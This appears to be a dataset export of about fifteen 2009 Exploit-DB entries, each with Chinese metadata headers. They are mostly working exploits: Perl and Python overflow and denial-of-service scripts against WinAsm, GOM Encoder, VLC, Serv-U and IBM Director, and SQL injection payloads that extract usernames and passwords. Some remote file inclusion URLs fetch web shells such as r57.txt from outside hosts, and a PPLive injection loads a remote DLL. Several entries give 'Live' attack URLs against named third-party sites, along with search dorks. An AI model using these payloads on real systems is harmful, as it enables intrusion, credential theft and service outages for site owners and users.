QLWD/code_shield huggingface dataset:
标题: WinAsm Studio 5.1.5.0 - Local Heap Overflow (PoC) EDB-ID: 8224 CVE: 2009-1040 类型: DOS 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: # WinAsm Studio 5.1.5.0 Local Heap Overflow Poc
# By Mountassif Moad
# D0wnload : http://www.winasm.net/index.php?ind=downloads&op=download_file&ide=182&file=WinAsm515Full.zip
# Greatz : Simo-Soft - Skd - fl0 fl0w - Str0ke & By By milw0rm :d
#
# Registers
# EAX 00000001
# ECX 00000001
# EDX 0013F814
# EBX 42424242  ( EBX overwrited :d )
# ESP 0013FBDC
# EBP 0013FE3C
# ESI 0013FBF7
# EDI 0013FD2F ASCII "BBBBBBBBBB" (next chars in EDI :d )
# EIP 0040A927 WinAsm.0040A927
my $m=
"\x5B\x46\x49\x4C\x45\x53\x5D\x0D\x31\x3D".
"\x41" x 227 .
"\x42" x 4 .
"\x43" x 20 .
"\x0D\x5B\x50\x52".
"\x4F\x4A\x45\x43\x54\x5D\x0D\x54\x79\x70\x65\x3D\x0D\x52".
"\x65\x6C\x65\x61\x73\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E".
"\x65\x3D\x0D\x44\x65\x62\x75\x67\x43\x6F\x6D\x6D\x61\x6E\x64".
"\x4C\x69\x6E\x65\x3D\x0D\x41\x75\x74\x6F\x49\x6E\x63\x46\x69".
"\x6C\x65\x56\x65\x72\x73\x69\x6F\x6E\x3D\x30\x0D\x52\x43\x53".
"\x69\x6C\x65\x6E\x74\x3D\x30\x0D\x50\x65\x6C\x6C\x65\x73\x54".
"\x6F\x6F\x6C\x73\x3D\x30\x0D\x5B\x4D\x41\x4B\x45\x5D\x0D".
"\x41\x63\x74\x69\x76\x65\x42\x75\x69\x6C\x64\x3D\x30\x0D\x43".
"\x6F\x6D\x70\x69\x6C\x65\x52\x43\x3D\x0D\x52\x43\x54\x6F\x4F".
"\x62\x6A\x3D\x0D\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63".
"\x0D\x4C\x69\x6E\x6B\x3D\x0D\x4F\x75\x74\x3D\x0D\x44".
"\x65\x62\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63\x0D\x44".
"\x65\x62\x4C\x69\x6E\x6B\x3D\x0D\x44\x65\x62\x4F\x75\x74\x3D";
print $m;
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++    WinAsm Studio 5.1.5.0 Local Heap Overflow Poc       +++\n";
print " +++    Written By Stack                                    +++\n";
print " +++    Usage Ex.: perl $0 >>Exploit.wap                    +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8224
标题: GDL 4.x - 'node' SQL Injection EDB-ID: 8228 CVE: 2009-0965 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-17 漏洞利用脚本: *******************************************************************************************
   [ Discovered by g4t3w4y \ jkthackerlink[at]gmail.com ]
   [ transitory only http://jakartaweb.net/home/GDL-Digital-Library-SQL-Injection-Vulnerability.html :) ]
 ###################################################
 #  [ GDL v.4.x ]    SQL Injection Vulnerability   #
 ###################################################
 #
 # Script:
 # GDL 4.0 | htdocs .gz
 # GDL 4.0 | windows application
 # GDL 4.2 | htdocs .zip
 #
 # Script site: http://kmrg.itb.ac.id
 # Download: http://kmrg.itb.ac.id
 #
 # [SQL] Vuln : http://localhost/gdl.php?mod=browse&node=0+AND+1=2+UNION+SELECT+0,1,2--
 #
 # Bug: ./functions/browse.php (line: 286-311)
 #
 # function browse_child_list($node)
 # {
 #     $strsql = "SELECT folder.*, folder_tree.NODE
 #                FROM folder, folder_tree
 #                WHERE
 #                    folder_tree.PARENT = '$node' AND
 #                    folder_tree.NODE = folder.NODE ";
 #   
 #     $dbres = mysql_query($strsql);               
 #
 #    if ($dbres){
 #            while ($row = mysql_fetch_array($dbres)){                  //  SQL inj
 #            $html .= browse_folder_print($row,2);
 #        }       
 #
 #         if (!empty($html)){
 #             $box_html = "<table cellSpacing=0 cellPadding=2 border=0>$html</table>";
 #             return $box_html;
 #         } else {
 #             return NULL;
 #         }   
 #     } else {
 #         stdout_error(mysql_error());
 #         return NULL;
 #     }
 # }
 ##################################################
 # Greetz: cozmaster * E-C-H-O Team * and otherz..           #
 ##################################################

 [ g4t3w4y / 2009 ]

*******************************************************************************************

# milw0rm.com [2009-03-17] URL: https://www.exploit-db.com/exploits/8228
标题: Gretech GOM Encoder 1.0.0.11 - '.Subtitle' Buffer Overflow (PoC) EDB-ID: 8225 CVE: 2009-1022 类型: DOS 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: #exploit.py
#
# Gom Encoder (Subtitle File) Buffer Overflow PoC
# by :Encrypt3d.M!nd
#
#  Orignal Advisory:
#  https://www.securityfocus.com/bid/34120
#

chars = 'A' * 1000000

file = open ( 'devil_inside.srt', 'w' )
file.write ('1\n00:00:00,001 --> 00:00:06,000\n'+chars)
file.close()

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8225
标题: Mega File Hosting Script 1.2 - 'url' Remote File Inclusion EDB-ID: 8230 CVE: 2009-0966 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-17 漏洞利用脚本: #####################################################
# Mega File Hosting || Remote/Local File inclusion #  
# For #  
# All Version #  
#####################################################

#############################################
Just addition This Exploit and enjoy #
#############################################

   
   
/cross.php?url=http://site.com/sh3ll.txt  
/cross.php?url=../../../.../../../../../etc/passwd%00  


#############################################
Author Garry /// 25/02/2009 # Www.Hacking.ge 
#############################################

# milw0rm.com [2009-03-17] URL: https://www.exploit-db.com/exploits/8230
标题: phpComasy 0.9.1 - 'entry_id' SQL Injection EDB-ID: 8220 CVE: 2009-1023 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-16 漏洞利用脚本: ###################################################
phpComasy(entry_id) SQL-injection Vulnerability
###################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  SQL injection 
#[~] Google Dork   :  N/W
--------------------------------------------------
#[!] Name          :  phpComasy   
#[!] Site          :  www.phpcomasy.com
#[!] Download      :  http://www.phpcomasy.com/index.php?id=7&mod_action=project_detail&mod_project_id=9
###################################################


[-] Example: 
http://localhost/Path/?id=22&entry_id=[SQL-injection]

[-] Exploit:
-9999+union+all+select+1,concat(username,char(58),password),3,4+from+user--
or
-9999+union+all+select+1,concat(username,char(58),password),3,4,5,6,7,8,9,0,11,12,13,14+from+user--&mod_action=detail

LiveDemo:
http://demo.phpcomasy.com/?id=22&entry_id=-9999+union+all+select+1,concat(username,char(58),password),3,4+from+user--&mod_action=detail

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8220
标题: Beerwin's PHPLinkAdmin 1.0 - Remote File Inclusion / SQL Injection EDB-ID: 8216 CVE: 2009-1025 2009-1024 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-16 漏洞利用脚本: #######################################################################################################################
[+] Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#######################################################################################################################

[+] Download : http://www.downloads.beerwin.com/index.php?p=showdl&dl=16&cat=18

[+] Remote File Inclusion

 Direct acces to linkadmin.No auth.

 Vulnerable code in linkadmin.php :

-------------------------------------------------------------------------------------------
$page = $_REQUEST['page'];
if (!$page){
echo "Welcome to the PHPLINKADMIN!.<br> Please select an action from
the left menu.";
}else{
include $page;
}
--------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt?

========================================================================================================================

[+] Remote SQL Injection

  Is a lot of SQL Injection vulnerabilities in the script.I will
present only one.

  Vulnerable code in edlink.php :

-----------------------------------------------------------------------------------------------
$linkid=$_REQUEST['linkid'];
if (!$linkid){
  echo "Error: Link missing! <br />";
}else{
  $sql=mysql_query("SELECT * FROM linktable WHERE linkid='$linkid'")
or die(mysql_error());
-----------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/edlink.php?linkid=-1' union all select
1,2,3,4,concat_ws(0x3a,user(),database(),version())'--

 No important things to extract from database.

=========================================================================================================================


#######################################################################################################################

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8216
标题: VideoLAN VLC Media Player 0.9.8a - Web UI 'input' Remote Denial of Service EDB-ID: 8213 CVE: 2009-1045 类型: DOS 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: #!/usr/bin/perl

########################################################
## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader
## GreetZ: forums.hacking.org.il
## TiP oF TEh DaY: Rock on! =]
########################################################

use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 8080; # Target port. Default port = 8080

#Note: for some reason, A x 2070785 = terminate without crash;
my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1\r\n";
$req .= "Host: $host:$port\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n";
$req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n";
$req .= "Accept-Encoding: gzip,deflate\r\n";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
$req .= "Keep-Alive: 300\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Referer: http://$host:$port/\r\n\r\n";

print "\nConnecting to $host on port $port\n";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..\n";
print $sock $req;
print "Exploited. Target should be DoSed by now :)\n";

close $sock;

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8213
标题: Kim Websites 1.0 - Authentication Bypass EDB-ID: 8209 CVE: 2009-1026 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-13 漏洞利用脚本: ###############################################################
             #                                                             #
             #     Kim Websites 1.0 SQL Injection Vulnerability            #
             #                [ Authentication bypass]                  #
             ###############################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By : Virangar Security Team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
& all virangar members & Aria_security team & all  hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----------------------------------
vuln code in login.php:
$username = $_POST['username'];
$password = md5($_POST['password']);
$query= "SELECT name,password FROM ".$prefix."_users WHERE name = '$username' AND password = '$password' AND confirm = 1 AND date2 > FROM_UNIXTIME($now)";
 -----------------------
Exploit:
login:admin ' or 1=1/*
password:[blank]
-------------------------------------
Y0ung Ir4ni4n H4ck3rz

# milw0rm.com [2009-03-13] URL: https://www.exploit-db.com/exploits/8209
标题: PPLive 1.9.21 - '/LoadModule' URI Handlers Argument Injection EDB-ID: 8215 CVE: 2009-1087 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: --------------------------------------------------------------------------------
PPLive <= 1.9.21 uri handlers "/LoadModule" remote argument injection
by Nine:Situations:Group::strawdog
--------------------------------------------------------------------------------
software site:http://www.pplive.com/en/index.html
our site: http://retrogod.altervista.org/

software description:
"PPLive is a peer-to-peer streaming video network created in Huazhong University
of Science and Technology, People's Republic of China. It is part of a new
generation of P2P applications, that combine P2P and Internet TV, called P2PTV."

vulnerability:
The "synacast://", "Play://" ,"pplsv://" and "ppvod://" URI handlers do not
verify certain parts of the URI before evaluating command line parameters.
This can be exploited against Internet Explorer to e.g. load a dll from a remote
UNC path via the "/LoadModule" parameter, example exploit (IE7):

synacast://www.microsoft.com/?"%20/LoadModule%20\1.2.3.4\unc_share\sh.dll%20"
Play://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

against older versions:
pplsv://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"
ppvod://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

test dll which adds new credentials / spawns the telnet server:
http://retrogod.altervista.org/9sg_pplive_sh.html

some interesting readings:
http://msdn.microsoft.com/en-us/library/aa767914(VS.85).aspx

--------------------------------------------------------------------------------

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8215
标题: YAP 1.1.1 - Blind SQL Injection / SQL Injection EDB-ID: 8217 CVE: 2009-1038 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-16 漏洞利用脚本: #######################################################################################################
[+] YAP 1.1.1 Blind SQL Injection/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
########################################################################################################

[+] Blind SQL Injection

  The default prefix for database tables is "yap_" .But can be changed
at installation.

 PoC :

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97

   First character of the username is char(97) , is "a" .

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100

   Second character of the username is char(100) ,is "d" .

 And so on...Change the limit to go to the next char.


[+] SQL Injection

 - Need to be logged in as administrator.

    http://127.0.0.1/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--

#########################################################################################################

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8217
标题: RhinoSoft Serv-U FTP Server 7.4.0.1 - 'MKD' Create Arbitrary Directories EDB-ID: 8211 CVE: 2009-1031 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: #!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD" 
# requests. This can be exploited to escape the FTP root and create arbitrary directory on 
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

 if (@ARGV < 4)
  {
   print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
   print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];
 $user = $ARGV[2];
 $pass = $ARGV[3];
 $dir = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

 print $socket "USER $user\r\n";
 print $socket "PASS $pass\r\n";
 print $socket "MKD $dir\r\n";

  sleep(3); 
  close($socket);

print "[+]Done! directory $dir has been created\n";

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8211
标题: RhinoSoft Serv-U FTP Server 7.4.0.1 - 'SMNT' (Authenticated) Denial of Service EDB-ID: 8212 CVE: 2009-0967 类型: DOS 平台: WINDOWS 发布日期: 2009-03-16 漏洞利用脚本: #!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

 if (@ARGV < 3)
  {
   print "[*] Usage: <serv-u.pl> <host> <port>\n";
   print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];
 $user = $ARGV[2];
 $pass = $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";


$evil = "SMNT\r\n" x 300000;

$after = "\x2A\x2A";

 print $socket "USER $user\r\n";
 print $socket "PASS $pass.$after\r\n";
 print $socket "$evil";
 
  sleep(1); 
  close($socket);

print "[+]Done! the server is saturated.\n";

# milw0rm.com [2009-03-16] URL: https://www.exploit-db.com/exploits/8212
标题: YAP 1.1.1 - 'index.php' Local File Inclusion EDB-ID: 8207 CVE: 2009-1038 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-13 漏洞利用脚本: #########################################################
# YAP v1.1.1 Local File Inclusion Vulnerability #
#########################################################


# AUTHOR   : Alkindiii
# CONTACT   : Alkindiii [4T] islamway {D0T} net
# HOME    : http://www.soqor.net


# Script   : YAP
# Version   : 1.1.1
# Download v1.1   : http://wildmary.net-sauvage.com/share/yap1.1.tar.gz
# Update to v1.1.1  : http://wildmary.net-sauvage.com/share/yap-patch1.1.1.zip


# EXPLOIT   : http://www.site.com/index.php?page=[LFI]%00


# GREETZ   : HACKERS PAL, Dr.Cr@ck, All soqor.net members, All Moroccan Hackers.

# milw0rm.com [2009-03-13] URL: https://www.exploit-db.com/exploits/8207
标题: IBM Director 5.20.3su2 CIM Server - Remote Denial of Service EDB-ID: 8190 CVE: 2009-0879 类型: DOS 平台: WINDOWS 发布日期: 2009-03-10 漏洞利用脚本: SEC-CONSULT Security Advisory < 20090305-1 >
=========================================================================================
   title: IBM Director CIM Server Remote Denial of Service Vulnerability
   program: IBM Director for Windows
   vulnerable version: <= 5.20.3 Service Update 2
   homepage: http://www-03.ibm.com/systems/management/director/
   found: Sept. 2008
   by: Bernhard Mueller / SEC Consult Vulnerability Lab
   permanent link:
http://www.sec-consult.com/files/20090305-1_IBM_director_DoS.txt
=========================================================================================

Product description:
---------------

IBM Director is an application that can track and view system
configurations of remote computers. It is available for Linux, AIX, and
Windows servers.


Vulnerability overview:
----------------

The CIM server contained in the IBM Director suite for Microsoft Windows
is vulnerable to a remote denial of service attack. The vulnerability
allows an attacker to crash the service remotely. It will not be
possible to reach the IBM Director agent until the service is manually
restarted.


Vulnerability details:
--------------- 

CIM server crashes on receiving requests that contain overlong consumer
names. The error condition does not allow for the redirection of program
flow.

M-POST /CIMListener/[Ax512] HTTP/1.1
CIMOperation: MethodCall
CIMExport: MethodRequest
CIMExportMethod: ExportIndication

[some xml]


Fix:
---------------

The vendor has adressed this vulnerability in service update 2 for IBM
Director agent 5.20.3. Download link:

https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=dmp&S_PKG=director_x_520&S_TACT=sms&lang=en_US&cp=UTF-8


vendor status:
---------------
vendor notified: 2008-11-03
patch available: 2009-03-09

--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com

# EOF Bernhard Mueller, SEC Consult Vulnerability Lab / @2009

# milw0rm.com [2009-03-10] URL: https://www.exploit-db.com/exploits/8190
标题: CMS WEBjump! - Multiple SQL Injections EDB-ID: 8188 CVE: 2009-4892 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-10 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Powered by Content Management System WEBjump! SQL Injection Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
Author  : M3NW5
contach  : M3NW5@hackermail.com
GreetZ  : Anggie Barker,vhiia ^,^
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

--== Dork ==--
Powered by Content Management System WEBjump! "portfolio_genre.php?id="

Exploite : www.sute.com/portfolio_genre.php?id=-67%20union%20select%201,2,@@version--

Live  : http://www.leti.cz/portfolio_genre.php?id=-67%20union%20select%201,2,@@version--

--== Dork ==--
Powered by Content Management System WEBjump! "news_id.php?lang="

Exploite : www.sute.com/path/news_id.php?lang=en&id=-92%20union%20select%201,2,3,@@version,5--

Live  : http://tower.klif.pl/content/news_id.php?lang=en&id=-92%20union%20select%201,2,3,@@version,5--

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-03-10] URL: https://www.exploit-db.com/exploits/8188